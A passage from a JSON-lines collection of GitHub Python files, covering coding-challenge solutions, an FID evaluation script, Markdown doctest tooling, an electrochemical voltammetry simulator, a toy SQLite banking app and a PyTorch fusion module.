0:\n caught = True\n total += layer*depth\n\n if total == 0 and caught == False:\n print(delay)\n sys.exit()\n\n delay += 1","repo_name":"sspenst/adventofcode2017","sub_path":"day13/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28618762810","text":"def solution(survey, choices):\n jipyo = [[[0, 'R'], [0, 'T']], [[0, 'C'], [0, 'F']], [[0, 'J'], [0, 'M']], [[0, 'A'], [0, 'N']]]\n res = ''\n\n def find_index(type):\n for m in range(len(jipyo)):\n for n in range(len(jipyo[m])):\n if type == jipyo[m][n][1]:\n return m, n\n\n def calc_jipyo():\n for i in range(len(survey)):\n tmp = list(survey[i])\n first = tmp[0]\n second = tmp[1]\n\n if choices[i] == 1:\n m, n = find_index(first)\n jipyo[m][n][0] += 3\n\n elif choices[i] == 2:\n m, n = find_index(first)\n jipyo[m][n][0] += 2\n\n elif choices[i] == 3:\n m, n = find_index(first)\n jipyo[m][n][0] += 1\n\n elif choices[i] == 5:\n m, n = find_index(second)\n jipyo[m][n][0] += 1\n\n elif choices[i] == 6:\n m, n = find_index(second)\n jipyo[m][n][0] += 2\n\n elif choices[i] == 7:\n m, n = find_index(second)\n jipyo[m][n][0] += 3\n\n calc_jipyo()\n\n for i in range(len(jipyo)):\n jipyo[i].sort(reverse=True)\n if jipyo[i][0][0] == jipyo[i][1][0]:\n res += jipyo[i][1][1]\n else:\n res += jipyo[i][0][1]\n\n return res\n","repo_name":"KeonhoPark/algorithmStudy","sub_path":"PG_118666.py","file_name":"PG_118666.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"ceb","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"22394748321","text":"# https://huggingface.co/docs/diffusers/conceptual/evaluation\r\nimport argparse\r\n\r\nimport torch\r\nfrom dataset import setup_fid_data\r\nfrom torchmetrics.image.fid import FID\r\n\r\n\r\ndef compute_fid(class_to_forget, path, image_size):\r\n fid = FID(feature=64)\r\n real_set, fake_set = setup_fid_data(class_to_forget, path, image_size)\r\n real_images = torch.stack(real_set).to(torch.uint8).cpu()\r\n fake_images = torch.stack(fake_set).to(torch.uint8).cpu()\r\n\r\n fid.update(real_images, real=True) # doctest: +SKIP\r\n fid.update(fake_images, real=False) # doctest: +SKIP\r\n print(fid.compute()) # doctest: +SKIP\r\n\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(\r\n prog=\"generateImages\", description=\"Generate Images using Diffusers Code\"\r\n )\r\n parser.add_argument(\"--folder_path\", help=\"path of images\", type=str, required=True)\r\n parser.add_argument(\r\n \"--class_to_forget\", help=\"class_to_forget\", type=int, required=False, default=6\r\n )\r\n parser.add_argument(\r\n \"--image_size\",\r\n help=\"image size used to train\",\r\n type=int,\r\n required=False,\r\n default=512,\r\n )\r\n args = parser.parse_args()\r\n\r\n path = args.folder_path\r\n class_to_forget = args.class_to_forget\r\n image_size = args.image_size\r\n print(class_to_forget)\r\n compute_fid(class_to_forget, path, image_size)\r\n","repo_name":"OPTML-Group/Unlearn-Saliency","sub_path":"SD/eval-scripts/compute-fid.py","file_name":"compute-fid.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"31"} +{"seq_id":"6023569720","text":"\"\"\"General purpose tools get fenced code blocks from Markdown.\"\"\"\nfrom collections import namedtuple\nfrom pathlib import Path\nfrom typing import IO, Optional, List, NamedTuple, Tuple\nfrom xml.etree import ElementTree\nfrom xml.etree.ElementTree import Element\n\nimport commonmark # type: ignore\nimport commonmark.node # type: ignore\n\nimport phmdoctest.direct\nimport phmdoctest.fillrole\n\n\nclass FCBChooser:\n \"\"\"Select labeled fenced code block from the Markdown file.\"\"\"\n\n def __init__(self, markdown_filename: str):\n \"\"\"Gather labelled Markdown fenced code blocks in the file.\n\n Args:\n markdown_filename:\n Path to the Markdown file as a string.\n \"\"\"\n self._blocks = labeled_fenced_code_blocks(markdown_filename)\n\n def contents(self, label: str = \"\") -> str:\n \"\"\"Return contents of the labeled fenced code block with label.\n\n Args:\n label\n Value of label directive placed on the fenced code block\n in the Markdown file.\n\n Returns:\n Contents of the labeled fenced code block as a string\n or empty string if the label is not found. Fenced code block\n strings typically end with a newline.\n \"\"\"\n for block in self._blocks:\n if block.label == label:\n return block.contents\n return \"\"\n\n\nLabeledFCB = NamedTuple(\n \"LabeledFCB\",\n [\n (\"label\", str), # the label directive's value\n (\"line\", str), # Markdown file line number of block contents\n (\"contents\", str), # fenced code block contents\n ],\n)\n\"\"\"Describes a fenced code block that has a label directive. (collections.namedtuple).\n\n Args:\n label\n The label directive's value.\n\n line\n Markdown file line number of block contents.\n\n contents\n Fenced code block contents.\n\"\"\"\n\n\ndef labeled_fenced_code_blocks(markdown_filename: str) -> List[LabeledFCB]:\n \"\"\"Return Markdown fenced code blocks that have label directives.\n\n Label directives are placed immediately before a fenced code block\n in the Markdown source file. The directive can be placed before any\n fenced code block.\n The label directive is the HTML comment ````\n where VALUE is typically a legal Python identifier. The space must\n be present before VALUE.\n The label directive is also used to name the test function\n in generated code. When used that way, it must be a valid\n Python identifier.\n If there is more than one label directive on the block, the\n label value that occurs earliest in the file is used.\n\n Args:\n markdown_filename\n Path to the Markdown file as a string.\n\n Returns:\n List of LabeledFCB objects.\n\n LabeledFCB is a NamedTuple with these fields:\n\n - label is the value of a label directive\n placed in a HTML comment before the fenced code block.\n - line is the line number in the Markdown file where the block\n starts.\n - contents is the fenced code block contents as a string.\n \"\"\"\n with open(markdown_filename, \"r\", encoding=\"utf-8\") as fp:\n nodes = fenced_block_nodes(fp)\n labeled_blocks = []\n for node in nodes:\n directives = phmdoctest.direct.get_directives(node)\n for directive in directives:\n if directive.type == phmdoctest.direct.Marker.LABEL:\n block = LabeledFCB(\n label=directive.value,\n line=node.sourcepos[0][0] + 1,\n contents=node.literal,\n )\n labeled_blocks.append(block)\n break\n return labeled_blocks\n\n\ndef fenced_code_blocks(markdown_filename: str) -> List[str]:\n \"\"\"Return Markdown fenced code block contents as a list of strings.\n\n Args:\n markdown_filename\n Path to the Markdown file as a string.\n\n Returns:\n List of strings, one for the contents of each Markdown\n fenced code block.\n \"\"\"\n with open(markdown_filename, \"r\", encoding=\"utf-8\") as fp:\n nodes = fenced_block_nodes(fp)\n return [node.literal for node in nodes]\n\n\ndef fenced_block_nodes(fp: IO[str]) -> List[commonmark.node.Node]:\n \"\"\"Get markdown fenced code blocks as list of Node objects.\n\n Deprecation Watch: This function may be labelled as deprecated in a\n future version of phmdoctest. It returns a data type defined by\n the commonmark package.\n\n Args:\n fp\n file object returned by open().\n\n Returns:\n List of commonmark.node.Node objects.\n \"\"\"\n nodes = []\n doc = fp.read()\n parser = commonmark.Parser()\n ast = parser.parse(doc)\n walker = ast.walker()\n # Presumably, because fenced code blocks nodes are leaf nodes\n # they will only be entered once by the walker.\n for node, entering in walker:\n if node.t == \"code_block\" and node.is_fenced:\n nodes.append(node)\n return nodes\n\n\ndef extract_testsuite(junit_xml_string: str) -> Tuple[Optional[Element], List[Element]]:\n \"\"\"Return testsuite tree and list of failing trees from JUnit XML.\n\n Args:\n junit_xml_string\n String containing JUnit xml returned by\n pytest or phmdoctest.simulator.run_and_pytest().\n\n Returns:\n tuple testsuite tree, list of failed test case trees\n \"\"\"\n root = ElementTree.fromstring(junit_xml_string)\n suite = root.find(\"testsuite\")\n failed_test_cases = []\n if suite is not None:\n for case in suite:\n if case.find(\"failure\") is not None:\n failed_test_cases.append(case)\n return suite, failed_test_cases\n\n\nPythonExamples = namedtuple(\"PythonExamples\", [\"has_code\", \"has_session\"])\n\"\"\"Presence of Python fenced code blocks in Markdown. (collections.namedtuple)\n\n Args:\n has_code\n True if detected at least one fenced code block with Python code.\n\n has_session\n True if detected at least one fenced code block with Python\n interactive session (doctest).\n\"\"\"\n\n\ndef detect_python_examples(markdown_path: Path) -> \"PythonExamples\":\n \"\"\"Return whether .md has any Python highlighted fenced code blocks.\n\n This includes Python code blocks and Python doctest interactive session\n blocks. These blocks may or may not generate test cases once processed\n by phmdoctest.test_file() and collected.\n\n - We don't care here if the code block is followed by expected output.\n - This logic does not check if the block has any phmdoctest skip,\n mark.skip, or mark.skipif directives.\n - This logic does not check if the block would be skipped by\n a phmdoctest command line --skip option.\n\n Args:\n markdown_path\n pathlib.Path of input Markdown file.\n\n \"\"\"\n with open(markdown_path, \"r\", encoding=\"utf-8\") as fp:\n fenced = fenced_block_nodes(fp)\n has_code = any(phmdoctest.fillrole.is_python_block(node) for node in fenced)\n has_session = any(phmdoctest.fillrole.is_doctest_block(node) for node in fenced)\n return PythonExamples(\n has_code=has_code,\n has_session=has_session,\n )\n\n\ndef _with_stem(path: Path, stem: str) -> Path:\n \"\"\"Replacement for pathlib.PurePath.with_stem() which is new Python 3.9.\"\"\"\n return path.with_name(stem + path.suffix)\n\n\ndef wipe_testfile_directory(target_dir: Path) -> None:\n \"\"\"Create and/or clean target_dir directory to receive generated testfiles.\n\n Create target_dir if needed for writing generated pytest files.\n Prevent future use of pre-existing .py files in target_dir.\n\n - The FILENAME.py files found in target_dir are renamed\n to noFILENAME.sav.\n - If a noFILENAME.sav already exists it is not modified.\n - Files in target_dir with other extensions are not modified.\n - A FILENAME.py pre-existing in target_dir is only renamed\n and not deleted.\n This allows for recovery of .py files when target_dir gets pointed\n by mistake to a directory with Python source files.\n\n Args:\n target_dir\n pathlib.Path of destination directory for generated test files.\n \"\"\"\n\n # create if needed\n target_dir.mkdir(mode=0o700, parents=True, exist_ok=True)\n\n # Clean out or preserve pre-existing Python files.\n for existing_path in target_dir.glob(\"*.py\"):\n preserve_path = existing_path.with_suffix(\".sav\")\n preserve_path = _with_stem(preserve_path, \"no\" + existing_path.stem)\n if preserve_path.exists():\n # A no*.sav already exists, so we assume it was created by\n # a prior pytest invocation. It is possible the user mis-typed\n # the --phmdmoctest-generate DIR on the command line and\n # may want to recover .py files later.\n # We can't overwrite a .sav file since it may hold a\n # preserved .py file.\n # Since pytest invocations only write files named test_*.py\n # the file about to be deleted here is named test_*.py and\n # it was created by a previous invocation of this plugin.\n assert existing_path.name.startswith(\"test_\")\n assert existing_path.suffix == \".py\"\n existing_path.unlink() # delete the file\n else:\n # rename the file\n existing_path.replace(preserve_path)\n","repo_name":"tmarktaylor/phmdoctest","sub_path":"src/phmdoctest/tool.py","file_name":"tool.py","file_ext":"py","file_size_in_byte":9503,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"31"} +{"seq_id":"27506315998","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\ndf = pd.read_csv('data.csv')\r\n\r\n\r\nax = df['Cantidad de ventas bruto'].plot(kind='bar')\r\n\r\n\r\ntotal_ventas = df['Cantidad de ventas bruto'].sum()\r\ntitle = \"Total Ventas: ${:,.2f}\".format(total_ventas)\r\nplt.title(title)\r\n\r\n\r\nfor i, val in enumerate(df['Cantidad de ventas bruto']):\r\n if val != 0:\r\n plt.text(i-0.3, val+10, \"${:,.2f}\".format(val), color='black', rotation=0, ha='center')\r\n\r\n\r\nperiodos = list(df.index + 1) \r\nplt.xticks(range(len(periodos)), periodos)\r\n\r\nplt.show()","repo_name":"scharss/pythonStudio","sub_path":"Python/index2.py","file_name":"index2.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28905567829","text":"\nprint('\\n9-2. 20203103 임정민\\n')\nt = \"It's Not The Right Time To Conduct Exams. MY DEMAND IN BOLD AND CAPITAL. NO EXAMS IN COVID!!!\"\ntcount = 0\ncount = 0\n\nprint('느낌표 개수 :', t.count('!'))\nfor ch in t:\n tcount+=1\n if ch.isupper():\n count += 1\nprint('총 문자 개수 :', tcount)\nprint('대문자 개수 :', count)\n","repo_name":"4xvgal/learning_storage","sub_path":"Learning-Python/practice/ch9/ex9-2.py","file_name":"ex9-2.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17380808822","text":"import numpy as np\nfrom scipy.sparse import diags\n\n'''\n Pending:\n - Add C mechanism\n - Calculate concentration of P on the EC and C mechanisms\n\n Errors:\n - Denormalization of concentrations is wrong\n'''\n\nF = 96485 # C/mol, Faraday constant \nR = 8.315 # J/mol K, Gas constant\nT = 298 # K, Temperature\nFRT = F/(R*T)\n\nclass E:\n '''\n Defines an E species\n '''\n def __init__(self, n=1, DO=1e-5, DR=1e-5, cOb=0, cRb=1e-6, E0=0, ks=1e8, \n alpha=0.5):\n self.n = n\n self.DO = DO\n self.DR = DR\n self.DOR = DO/DR\n self.cOb = cOb\n self.cRb = cRb\n self.E0 = E0\n self.ks = ks\n self.alpha = alpha\n\n\nclass C:\n '''\n Defines a C species \n '''\n def __init__(self, DP=1e-5, cPb=0, kc=1e-2):\n self.DP = DP\n self.cPb = cPb\n self.kc = kc\n #self.Kc = 0\n\n\nclass TGrid:\n '''\n Defines the grid in time\n '''\n def __init__(self, twf, Ewf):\n self.t = twf\n self.E = Ewf\n self.nT = np.size(self.t) # number of time elements\n self.dT = 1/self.nT # adimensional step time\n self.T = twf/twf[-1] # adimensional time\n\n \nclass XGrid:\n '''\n Defines the grid in space\n '''\n def __init__(self, species, tgrid, Ageo=1):\n self.lamb = 0.45 # For the algorithm to be stable, lamb = dT/dX^2 < 0.5\n self.Xmax = 6*np.sqrt(tgrid.nT*self.lamb) # Infinite distance\n self.dX = np.sqrt(tgrid.dT/self.lamb) # distance increment\n self.nX = int(self.Xmax/self.dX) # number of distance elements\n self.X = np.linspace(0, self.Xmax, self.nX) # Discretisation of distance\n self.Ageo = Ageo\n\n for x in species:\n if isinstance(x, E):\n ## Discretisation of variables and initialisation\n if x.cRb == 0: # In case only O present in solution\n x.CR = np.zeros([tgrid.nT, self.nX])\n x.CO = np.ones([tgrid.nT, self.nX])\n else:\n x.CR = np.ones([tgrid.nT, self.nX])\n x.CO = np.ones([tgrid.nT, self.nX])*x.cOb/x.cRb\n\n x.eps = (tgrid.E-x.E0)*x.n*FRT # adimensional potential waveform\n x.delta = np.sqrt(x.DR*tgrid.t[-1]) # cm, diffusion layer thickness\n x.Ke = x.ks*x.delta/x.DR # Normalised standard rate constant\n # Construct matrix:\n Cb = np.ones(self.nX-1) # Cbefore\n Cp = -2*np.ones(self.nX) # Cpresent\n Ca = np.ones(self.nX-1) # Cafter\n x.A = diags([Cb,Cp,Ca], [-1,0,1]).toarray()/(self.dX**2) \n x.A[0,:] = np.zeros(self.nX)\n x.A[0,0] = 1 # Initial condition\n elif isinstance(x, C):\n x.CP = np.zeros([tgrid.nT, self.nX])\n\n\nclass Simulate:\n '''\n '''\n def __init__(self, species, mech, tgrid, xgrid):\n self.species = species\n self.mech = mech\n self.tgrid = tgrid\n self.xgrid = xgrid\n\n self.join(species)\n\n def sim(self):\n nE = self.nE[0]\n nC = self.nC[0]\n sE = self.species[nE]\n sC = self.species[nC]\n for k in range(1, self.tgrid.nT):\n # Boundary condition, Butler-Volmer:\n CR1kb = sE.CR[k-1,1]\n CO1kb = sE.CO[k-1,1]\n sE.CR[k,0] = (CR1kb + self.xgrid.dX*sE.Ke*np.exp(-sE.alpha*sE.eps[k]\n )*(CO1kb + CR1kb/sE.DOR))/(1 + self.xgrid.dX*sE.Ke*(\n np.exp((1-sE.alpha)*sE.eps[k])+np.exp(\n -sE.alpha*sE.eps[k])/sE.DOR))\n sE.CO[k,0] = CO1kb + (CR1kb - sE.CR[k,0])/sE.DOR\n # Runge-Kutta 4:\n sE.CR[k,1:-1] = self.RK4(sE.CR[k-1,:], 'E', sE)[1:-1]\n if self.mech == 'E':\n sE.CO[k,1:-1] = self.RK4(sE.CO[k-1,:], 'E', sE)[1:-1]\n elif self.mech == 'EC':\n sE.CO[k,1:-1] = self.RK4(sE.CO[k-1,:], 'EC', sE, sC)[1:-1]\n sC.CP[k,0] = sC.CP[k-1,1]\n sC.CP[k,1:-1] = self.RK4(sC.CP[k-1,:], 'ECP', sE, sC)[1:-1]\n \n for s in self.species:\n if isinstance(s, E):\n # Denormalising:\n if s.cRb:\n I = -s.CR[:,2] + 4*s.CR[:,1] - 3*s.CR[:,0]\n D = s.DR\n c = s.cRb\n else: # In case only O present in solution\n I = s.CO[:,2] - 4*s.CO[:,1] + 3*s.CO[:,0]\n D = s.DO\n c = s.cOb\n self.i = s.n*F*self.xgrid.Ageo*D*c*I/(2*self.xgrid.dX*s.delta)\n\n #self.cR = s.CR*s.cRb\n #self.cO = s.CO*s.cOb\n self.x = self.xgrid.X*s.delta\n elif isinstance(s, C):\n self.cP = s.CP#*s.cPb\n\n s.CR = 0 # Empty matrix to free memory\n s.CO = 0\n s.CP = 0\n\n def join(self, species):\n ns = len(species)\n self.nE = []\n self.nC = []\n for s in range(ns):\n if isinstance(species[s], E):\n self.nE.append(s)\n elif isinstance(species[s], C):\n self.nC.append(s)\n # User may only want to simulate an E mechanism:\n if not self.nC:\n self.nC.append(0)\n if not self.nE:\n self.nE.append(0)\n\n if self.mech == 'EC' or self.mech == 'C':\n species[self.nC[0]].Kc = species[self.nC[0]].kc* \\\n species[self.nE[0]].delta/ \\\n species[self.nE[0]].DR\n\n def fun(self, y, mech, species, params):\n rate = 0\n if mech == 'EC':\n rate = - self.tgrid.dT*params.Kc*y\n elif mech == 'ECP': # To obtain concentration profile of P\n rate = self.tgrid.dT*params.Kc*y\n return np.dot(species.A, y) + rate\n\n def RK4(self, y, mech, species, params=0):\n dT = self.tgrid.dT\n k1 = self.fun(y, mech, species, params)\n k2 = self.fun(y+dT*k1/2, mech, species, params)\n k3 = self.fun(y+dT*k2/2, mech, species, params)\n k4 = self.fun(y+dT*k3, mech, species, params)\n return y + (dT/6)*(k1 + 2*k2 + 2*k3 + k4)\n\n\n\nif __name__ == '__main__':\n from calculate import *\n from technique import *\n from plotting import *\n\n # CV\n wf = Sweep(Eini=0.5, Efin=-0.5, sr=0.01)\n twf = wf.t\n Ewf = wf.E\n e = E(cRb=0, cOb=1e-6)\n tgrid = TGrid(twf, Ewf)\n xgrid = XGrid([e], tgrid)\n simE = Simulate([e], 'E', tgrid, xgrid)\n simE.sim()\n e = E(cRb=0, cOb=1e-6)\n c = C(kc=1e-1)\n xgrid = XGrid([e,c], tgrid)\n simEC = Simulate([e,c], 'EC', tgrid, xgrid)\n simEC.sim()\n plot(Ewf, [simE.i, simEC.i], xlab='$E$ / V', ylab='$i$ / A', \n legend=['E', 'EC'], fig=1, show=0)\n\n # CA\n wf = Step(Es=-0.4, dt=0.01)\n twf = wf.t\n Ewf = wf.E\n tgrid = TGrid(twf, Ewf)\n e = E(cRb=0, cOb=1e-6)\n xgrid = XGrid([e], tgrid)\n simE = Simulate([e], 'E', tgrid, xgrid)\n simE.sim()\n e = E(cRb=0, cOb=1e-6)\n c = C(kc=1e-1)\n xgrid = XGrid([e,c], tgrid)\n simEC = Simulate([e,c], 'EC', tgrid, xgrid)\n simEC.sim()\n\n # Cottrell\n macro = Macro()\n i_cott = macro.Cottrell(twf)\n\n legend = ['E', 'EC', 'Cottrell']\n mark = ['-o', 'o', '--']\n plot(1/np.sqrt(twf[1:]), [simE.i[1:], simEC.i[1:], i_cott[1:]], \n xlab='$t^{-1/2}$ / s$^{-1/2}$', ylab='$i$ / A', \n legend=legend, mark=mark, fig=2, show=0)\n plot(twf[1:], [simE.i[1:]/i_cott[1:], simEC.i[1:]/i_cott[1:]],\n xlab='$t$ / s', ylab='$i$ / $i_{cott}$',\n legend=legend, mark=mark, fig=3, show=1)\n","repo_name":"oliverrdz/softpotato","sub_path":"src/softpotato/simulate2.py","file_name":"simulate2.py","file_ext":"py","file_size_in_byte":7664,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"39267162609","text":"def solution(m, n, startX, startY, balls):\n answer = []\n for i, j in balls:\n if startX == i:\n if startY < j:\n y = 2*startY + j - startY\n else:\n y = 2*(n-startY) + startY - j\n answer.append(min(((startX+i)**2 + (startY-j)**2), ((m-startX+m-i)**2 + (startY-j)**2), y**2))\n elif startY == j:\n if startX < i:\n x = 2*startX + i - startX\n else:\n x = 2*(m-startX) + startX - i\n answer.append(min(((startX-i)**2 + (startY+j)**2), ((startX-i)**2 + (n-startY+n-j)**2), x**2))\n else:\n a = (startX-i)**2 + (startY+j)**2\n b = (startX+i)**2 + (startY-j)**2\n c = (m-startX+m-i)**2 + (startY-j)**2\n d = (startX-i)**2 + (n-startY+n-j)**2\n answer.append(min(a, b, c, d))\n return answer","repo_name":"sotthang/coding_study","sub_path":"프로그래머스/unrated/169198. 당구 연습/당구 연습.py","file_name":"당구 연습.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73229022809","text":"# Ingresar por teclado los nombres de 5 personas y almacenarlos en una lista. Mostrar el nombre de persona menor en orden alfabético.\n\nnombre=[]\n\nfor x in range(5):\n nombre.append(input(\"Ingrese un nombre: \"))\n\nmenor=nombre[0]\nfor x in range(1,5):\n if nombre[x]\")\n ACC_MENU = (\"1. Balance\\n\"\n \"2. Add income\\n\"\n \"3. Do transfer\\n\"\n \"4. Close account\\n\"\n \"5. Log out\\n\"\n \"0. Exit\\n\"\n \">\")\n MESSAGE_LOGIN = \"You have successfully logged in!\"\n MESSAGE_LOGOUT = \"You have successfully logged out!\"\n MESSAGE_CLOSE_ACCOUNT = \"The account has been closed!\"\n running_status = True\n\n @classmethod\n def main_menu(cls):\n while cls.running_status:\n main_item = input(cls.MAIN_MENU)\n if main_item == \"0\":\n cls.running_status = False\n elif main_item == \"1\":\n CardStorage.add_card()\n elif main_item == \"2\":\n cls.acc_validation()\n print(\"Bye!\")\n\n @classmethod\n def acc_actions(cls, card):\n while True:\n acc_item = input(cls.ACC_MENU)\n if acc_item == \"0\":\n cls.running_status = False\n return None\n elif acc_item == \"1\":\n print(card.get_card_balance())\n elif acc_item == \"2\":\n card.add_amount(int(input(\"Enter income:\\n>\")))\n print(\"Income was added!\")\n elif acc_item == \"3\":\n card.do_transfer()\n elif acc_item == \"4\":\n card.delete_account()\n print(cls.MESSAGE_CLOSE_ACCOUNT)\n return None\n elif acc_item == \"5\":\n print(cls.MESSAGE_LOGOUT)\n return None\n\n @classmethod\n def acc_validation(cls):\n card = CardStorage.login_card(input(\"Enter your card number:\\n>\"),\n input(\"Enter your PIN:\\n>\"))\n if card:\n cls.acc_actions(card)\n\n\nclass CardProc:\n\n def __init__(self, number):\n card = db.get_all_info(number)\n self.number = card[1]\n self.pin = card[2]\n self.balance = card[3]\n self.iin = card[4]\n self.customer_id = card[5]\n\n def get_card_customer_id(self):\n return self.customer_id\n\n def get_card_number(self):\n return self.number\n\n def get_card_balance(self):\n return self.balance\n\n def get_card_pin(self):\n return self.pin\n\n def add_amount(self, amount):\n self.balance += amount\n db.upd_balance(self.number, self.balance)\n\n def deduct_amount(self, amount):\n self.balance -= amount\n db.upd_balance(self.number, self.balance)\n\n def do_transfer(self):\n card_to = input(\"Transfer\\nEnter card number:\\n>\")\n if CardStorage.check_card_number(card_to) is True:\n if db.chk_exists(card_to) == 1 and self.number != card_to:\n amount = int(input(\"Enter how much money you want to \"\n \"transfer:\\n>\"))\n if self.balance >= amount:\n self.deduct_amount(amount)\n card_tr = CardProc(card_to)\n card_tr.add_amount(amount)\n print(\"Success!\")\n else:\n print(\"Not enough money!\")\n elif db.chk_exists(card_to) == 1 and self.number == card_to:\n print(\"You can't transfer money to the same account!\")\n else:\n print(\"Such a card does not exist.\")\n else:\n print(\"Probably you made a mistake in the card number. \"\n \"Please try again!\")\n\n def delete_account(self):\n db.delete_record(self.number)\n\n\nclass CardGenerator:\n IIN = 400000\n\n @staticmethod\n def new_card():\n while True:\n customer_id = CardGenerator.new_customer_id()\n checksum = CardGenerator.new_checksum(customer_id)\n if db.chk_exists(f'{CardGenerator.IIN}'\n f'{customer_id}'\n f'{checksum}') == 0:\n return Card(customer_id, checksum, CardGenerator.new_pin())\n\n @staticmethod\n def new_customer_id():\n return ''.join(str(random.randint(0, 9)) for _ in range(9))\n\n @staticmethod\n def new_pin():\n return ''.join(str(random.randint(0, 9)) for _ in range(4))\n\n @staticmethod\n def new_checksum(customer_id):\n return CardStorage.checksum(list(f\"{CardGenerator.IIN}{customer_id}\"))\n\n\nclass Card:\n\n def __init__(self, customer_id, checksum, pin, balance=0):\n self.iin = CardGenerator.IIN\n self.customer_id = customer_id\n self.checksum = checksum\n self.pin = pin\n self.balance = balance\n\n def get_card_number(self):\n return f\"{self.iin}{self.customer_id}{self.checksum}\"\n\n def get_card_pin(self):\n return self.pin\n\n def get_card_customer_id(self):\n return self.customer_id\n\n def get_card_balance(self):\n return self.balance\n\n\nclass CardStorage:\n\n @staticmethod\n def add_card():\n new_card = CardGenerator.new_card()\n db.insert_record(new_card)\n print(\"Your card has been created\\n\"\n \"Your card number:\\n\"\n \"{}\\n\"\n \"Your card PIN:\\n\"\n \"{}\".format(new_card.get_card_number(), new_card.get_card_pin()))\n\n @staticmethod\n def login_card(card_number, pin):\n if db.chk_auth(card_number, pin) == 1:\n card = CardProc(card_number)\n print(\"You have successfully logged in!\")\n return card\n print(\"Wrong card number or PIN!\")\n return False\n\n @staticmethod\n def check_card_number(number):\n if number[-1] == CardStorage.checksum(list(number[:-1])):\n return True\n return False\n\n @staticmethod\n def checksum(lst):\n summary = 0\n for i in range(len(lst)):\n if (i + 1) % 2 != 0:\n if int(lst[i]) * 2 > 9:\n lst[i] = str(int(lst[i]) * 2 - 9)\n else:\n lst[i] = str(int(lst[i]) * 2)\n summary += int(lst[i])\n checksum = 10 - summary % 10\n if checksum == 10:\n checksum = 0\n return str(checksum)\n\n\ndb = DBase()\ndb.start()\nBank.main_menu()\ndel db\n","repo_name":"jyelena/SimpleBankingSystem","sub_path":"Simple Banking System/task/banking/banking.py","file_name":"banking.py","file_ext":"py","file_size_in_byte":8517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6343561275","text":"from PythonCommandEngine.CommandFactory import *\n\n\nclass CommandInterpreter(object):\n @classmethod\n def run_event_loop(cls):\n while True:\n choice = input(\"===> \")\n arguments = list(filter(None, choice.split(\" \")))\n CommandFactory(arguments).create()(arguments).execute()\n\n @classmethod\n def run(cls):\n print(\"Welcome to the file utility command interpreter!\")\n print(\"Author: Oleksii Kshenskyi.\")\n CommandFactory([\"usage\"]).create()([\"usage\"]).execute()\n print(\"Type 'usage ' to learn about the you're interested in.\")\n cls.run_event_loop()\n","repo_name":"Oleksii-Kshenskyi/six_in_one","sub_path":"python/App/CommandInterpreter.py","file_name":"CommandInterpreter.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"43400848028","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nW = np.array([0.0, 0.0])\nW_len = W.shape[0]\n\n\ndef predict(x, W):\n return W[0] * x[0] + W[1] * x[1]\n\n\ndef f(x):\n return x[0] ** 2 - x[1]\n\n\nX = []\nfor a in range(5):\n for b in range(5, 10):\n X.append([a, b])\n\nX = np.array(X)\nY = np.array([f(x) for x in X])\nn = X.shape[0]\nprint(X[:, 1])\n#\nlr = 0.001\nMSE_ALL = []\nfor e in range(10000):\n Y_hat = np.array([predict(x, W) for x in X])\n MSE = (1 / n) * np.sum(Y - Y_hat)\n for wi in range(W_len):\n derivative_wi = (-2 / n) * np.sum(X[:, wi] * (Y - Y_hat))\n W[wi] -= lr * derivative_wi\n\n MSE_ALL.append(MSE)\n\nprint(W)\n# plt.plot(MSE_ALL)\n# plt.ylabel('some numbers')\n# plt.show()\n","repo_name":"panjacob/Reinforcement-Learning","sub_path":"LAB4/linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70112280088","text":"import torch\nfrom torch import nn, Tensor\n\nfrom typing import List, Any, Dict\n\n\nclass Add(nn.Module):\n def __init__(\n self,\n sources: List[str],\n in_channels: int,\n mask_ratio: float = 0.0,\n **kwargs: Any\n ) -> None:\n super().__init__()\n sources.sort()\n self.sources = sources\n self.out_dim = in_channels\n self.mask_ratio = mask_ratio\n self.avg_pool = nn.AdaptiveAvgPool3d(1)\n self.flatten = nn.Flatten()\n\n def _mask_mods(self, x: Tensor) -> Tensor:\n assert self.training\n bs, m, c, t, h, w = x.shape\n ids_keep = int(m * (1 - self.mask_ratio))\n noise = torch.rand(bs, m, device=x.device) # noise in [0, 1]\n # sort noise for each sample\n ids_shuffle = torch.argsort(noise, dim=1) # ascend: small is keep, large is remove\n # keep the first subset\n ids_keep = ids_shuffle[:, :ids_keep]\n x = torch.gather(x, dim=1, index=ids_keep.unsqueeze(-1).unsqueeze(-1).unsqueeze(-1).unsqueeze(-1).repeat(1, 1, c, t, h, w))\n return x\n\n def forward(self, x: Dict[str, Tensor]) -> Tensor:\n x_sources = list(x.keys())\n x_sources.sort()\n assert set(x_sources).issubset(self.sources)\n\n x = torch.stack([x[source] for source in x_sources], dim=1)\n if self.mask_ratio > 0 and self.training:\n x = self._mask_mods(x)\n\n x = torch.sum(x, dim=1, keepdim=False)\n x = self.avg_pool(x)\n x = self.flatten(x)\n return 